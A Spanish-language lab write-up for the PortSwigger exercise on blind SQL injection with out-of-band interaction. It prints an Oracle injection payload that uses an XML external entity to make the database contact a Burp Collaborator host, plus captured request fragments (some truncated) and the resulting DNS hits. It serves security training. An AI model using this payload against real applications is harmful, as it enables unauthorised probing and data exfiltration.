

13 Lab Blind SQL injection with out-of-band interaction

Como lo mas típico es que estemos ante un Oracle, probamos:

```
' +UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>
<!DOCTYPE+root+[<!ENTITY+%25remote+SYSTEM+"http%3a//BURP-COLLABORATOR-
SUBDOMAIN/">+%25remote%3b]>'), '/1')+FROM+dual--
```

Para crear el subdominio de Burp lo que tenemos que hacer es click derecho y darle a Insert Collaborator Payload:

```
%3b]>'), '/1')+FROM+dual--; session=PNCCExOJdMw
Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.
t: text/html,application/xhtml+xml,application
t-Language: en-US,en;q=0.5
t-Encoding: gzip, deflate, br
er: https://portswigger.net/
de-Insecure-Requests: 1
etch-Dest: document
etch-Mode: navigate
etch-Site: cross-site
etch-User: ?l
ity: u=0, i
rainers
```

Send to Intruder	Ctrl+I
Send to Repeater	Ctrl+R
Send to Sequencer	
Send to Comparer	
Send to Decoder	
Send to Organizer	Ctrl+O
Insert Collaborator payload	
Show response in browser	
Record an issue	>
Request in browser	>

Con esta sentencia estamos viendo verificamos que el payload efectivamente haya activado una consulta DNS y, potencialmente, explota este comportamiento para exfiltrar datos sensibles desde la aplicación. Revisaremos esta técnica en el próximo laboratorio:

Dashboard Target Proxy Intruder Repeater Collaborator (4) Sequencer Decoder Comparer Logger Organizer Extensions Learn				
1 x +				
Payloads to generate: 1 Copy to clipboard <input checked="" type="checkbox"/> Include Collaborator server location Poll now Polling automatically				
Filter HTTP DNS SMTP				
#	Time	Type	Payload	Source IP address
1	2025-jul-23 11:13:54.424 UTC	DNS	tdakvu8b48eg8kq66hhxhmavimodc60v	3.248.186.141
2	2025-jul-23 11:13:54.425 UTC	DNS	tdakvu8b48eg8kq66hhxhmavimodc60v	3.248.186.129
3	2025-jul-23 11:13:54.425 UTC	DNS	tdakvu8b48eg8kq66hhxhmavimodc60v	3.251.105.53
4	2025-jul-23 11:13:54.424 UTC	DNS	tdakvu8b48eg8kq66hhxhmavimodc60v	3.251.105.69